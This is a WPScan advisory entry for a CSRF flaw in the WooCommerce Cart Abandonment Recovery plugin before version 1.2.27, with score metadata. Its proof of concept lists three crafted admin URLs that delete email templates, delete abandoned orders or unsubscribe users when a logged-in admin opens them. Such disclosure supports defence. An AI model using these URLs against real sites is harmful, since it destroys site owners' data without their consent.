Lucene search

K
wpvulndbErwan LR (WPScan)WPVDB-ID:C740ED3B-D6B8-4AFC-8C6B-A1EC37597055
HistoryMar 13, 2024 - 12:00 a.m.

WooCommerce Cart Abandonment Recovery < 1.2.27 - Templates/Abandoned Orders Deletion via CSRF

2024-03-1300:00:00
Erwan LR (WPScan)
wpscan.com
5
woocommerce
cart abandonment
csrf
vulnerability
email templates
unsubscribe
admins

6.7 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

Description The plugin does not have CSRF check in its bulk actions, which could allow attackers to make logged in admins delete arbitrary email templates as well as delete and unsubscribe users from abandoned orders via CSRF attacks.

PoC

Make a logged in admin open one of the URLs below - To make them delete the Email Template with ID 1: https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&amp;action;=email_tmpl&amp;action2;=email_tmpl⊂_action=delete_bulk_email_tmpl&amp;id;[]=1 - To make them delete the abandoned order with ID 1: https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&amp;action;=delete&amp;action2;=delete&amp;id;=1 - To make them unsubscribe the user from the abandon order with ID 1: https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&amp;action;=unsubscribe&amp;action2;=unsubscribe&amp;id;=1

CPENameOperatorVersion
eq1.2.27

6.7 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

Related for WPVDB-ID:C740ED3B-D6B8-4AFC-8C6B-A1EC37597055